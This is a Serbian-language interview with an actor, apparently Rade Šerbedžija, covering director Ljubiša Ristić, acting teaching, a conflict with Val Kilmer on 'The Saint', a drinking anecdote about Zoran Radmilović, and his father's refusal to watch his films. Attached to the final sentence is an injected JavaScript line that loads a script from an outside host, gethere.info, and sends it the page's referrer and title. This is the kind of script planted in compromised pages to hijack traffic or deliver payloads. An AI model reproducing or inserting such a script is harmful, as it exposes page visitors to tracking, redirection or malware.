- Što se tiče Ljubiše Ristića, tu mogu samo da kažem sledeću rečenicu. Ljubiša Ristić je moj veliki prijatelj, kao što je bio i Žika Pavlović. Žika kojeg sam upoznao na filmu, Ljubiša u teatru. Ljubiša Ristić je za mene po onome što sam radio sa njim, po onome što sam gledao od njega, po onome što sam gledao u celom svetu, jedan od najvećih svetskih režisera u teatru ikad. I to nije moje mišljenje, to je mislio celi tada pozorišni svet od najvećih nemačkih režisera, španskih, italijanskih, američkih, australijskih. To je to. To je naša priča, to je bio za mene jedan najznačajniji teatar, uz neke predstave koje sam napravio sa svojim profesorom Kostom Spajićem, sve što sam napravio pravo u teatru, napravio sam sa Ljubišom Ristićem. To je bio jedan generacijski pokret.
Jel' on bio taj disident o kome pričate?
- Nije to možda bilo ni disidenstvo, to je bio jednostavno pametan teatar, složen od najtalentovanijih ljudi te generacije, mladih ljudi iz cele bivše Jugoslavije. Naše predstave su bile krcate i svi su ih voleli. Kasnije što se dogodilo kad je došao rat to su neka moja i Ristićeva razmimoilaženja, odnose se uglavnom samo na tadašnju vlast u Srbiji koju ja nisam mogao da prepoznam, kao uostalom ni dan-danas. Razmišljajući o toj vlasti i ljudima koji su tada tu vlast činili imam sve najgore reći o njima. Međutim, Ljubiša Ristić, po meni, nije čovek koji je u nekom smislu odgovoran politički za neke stvari koje su se dešavale. Osim toga, ako bi mu se trebalo nešto zamerati u odnosu na izbor vlasti koju je on tada prepoznao i želeo da podrži u svom uverenju jednog socijaliste i humanitarca i Jugoslovena, onda bi sa mnogo više svojih prijatelja iz Beograda trebalo da prestanem da razgovaram jer su oni u to vreme podržavali apsolutno desničarske, po meni i šovinističke partije i lidere.
Vi danas radite kao reditelj, radite sa mladim glumcima u pozorištu. Šta ih učite, šta je gluma?
- Ja tvrdim da svaki čovek, svaki mladi glumac može postati Robert de Niro, svaki. Svaki čovek i svaki glumac je poseban slučaj koji zahteva pažnju na neki drugi način i sa kojim moraš uspostaviti neke prave prijateljske odnose poverenja da bi mu mogao pomoći i da bi ga mogao nagovoriti na avanturu i na tu slobodu, osvajanje slobode, što je gluma.
Radili ste u SAD, tamo je zastupljena ta metodska škola glume Lija Strazberga, glumca i profesora koji je presudno uticao na Paćina, De Nira, Kajtela i celu tu plejadu, koji su koristili istu tehniku glume. Kakav vi stav imate prema tom glumačkom metodu?
- Ne, ne, ja mislim da je svaka uloga i svaki glumac poseban. Kad smo kod toga, imao sam jedan sukob sa Valom Kilmerom u trenutku kada je on bio najpopularniji glumac na svetu, bio je popularniji u tom času od Tom Kruza. Baš po tom osnovu glumačkog pristupa. Radili smo "Sveca". Igrali smo taj film i čovek mene ne pozdravlja i ne gleda na snimanju uopšte. I završimo mi film, a on se zatrči na zadnjoj klapi, zatrči se ka meni i zagrli me i počne da me ljubi i kaže: "Rade, ja te obožavam kao glumca, oprosti, nisam hteo s tobom da razgovaram i mrzeo sam te jer mi je to u ulozi, znaš ja moram da te mrzimi jer smo bili neprijatelji u filmu." A ja kažem: "Vau, ma to uopšte nije problem, nema problema, ja sam profesor glume, ja znam i razumem probleme mladih glumaca." A šta drugo da mu kažem. Eto.
Radili ste sa svim najvećim jugoslovenskim glumcima. Pominjali smo malopre Zorana Radmilovića, u kakvom sećanju vam je on ostao?
- Ima jedna luda priča između nas dvojice i bio je tu Gaga Nikolić. Pijemo u jednoj kafani u Beogradu. I sad mi tamo došli i Zoran bocu "Džeka Danijelsa" stavi na šank. I stojimo za šankom i pijemo taj viski, a mene Zoran stalno zove "Hrvat". Kad god se sretnemo, on kaže: "Gde si, moj Hrvat", "Kako si, Hrvat", "Sad ćemo ja i moj Hrvat". A ja njemu nisam nikad, ma to je takvo bilo vreme, i ja sam takav čovek, nikad mu pre toga nisam rekao da sam Srbin. Što bih mu govorio. Ja sam rođen u Hrvatskoj, živeo u Hrvatskoj, hrvatski govorim, razumeš, za njega sam ja zapravo hrvatski glumac. Kad Gaga kaže njemu: "Je li, što ti bre Radetu govoriš Hrvat, Hrvat, kad je Rade Srbin?" Zoran ga pogleda, namršti se, pa kaže: "Rade Srbin? Ajde bre, seljačino jedna, pomeri se s mesta", pa opsuje sočno. "Rade Srbin? Pa pogledaj čoveka kako izgleda, pogledaj kako je lep, pogledaj kako je odgojen, pogledaj kako je pametan, nije baraba kao ti, evropski čovek." A Gaga se naljuti, pa reče: "Ma, ajde bre Rade, reci mu ti!", a već se popilo dosta. I ja kažem: "Pa, ne znam Zoki, tata i mama su mi Srbi, ne znam šta sam ja." Kad Zoran zaćuta, gleda tamo negde pored, i ovako kaže: "Tata i mama su ti Srbi?" Rekoh ja: "Da." On opet tamo gleda pa viknu: "Mama i tata su ti Srbi?!" Ja opet rekoh "Da." Kad on kaže: "Pu, bog te jebo, gde sad da nađem svog Hrvata!" Hahaha... To je bio Zoki.

OTAC NIKAD NIJE GLEDAO MOJE FILMOVE

Zanimljiv je Radetov odnos sa ocem Danilom, koji živi u Beogradu i ima 104 godine.
- Moj Danilo nikada nije pogledao niti jednu moju predstavu ili filmsku ulogu. Da, zvuči neverovatno, ali tako je. Nikada se nije složio s tim što sam ja otišao u glumce. Kad bi uveče na televiziji krenuo neki od filmova u kojima sam igrao, majka bi mu sva sretna govorila: "Ajde, Danilo, da gledamo Radeta", a on bi samo mirno ustajao i odlazio u drugu sobu. Tvrdi Ličanin. Inače je fenomenalno talentovan za recitovanje poezije, posebno epskih pesama. Iz Vinkovaca, gde smo živeli, 1991. je prešao u Beograd i nikada više nije ovamo došao.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';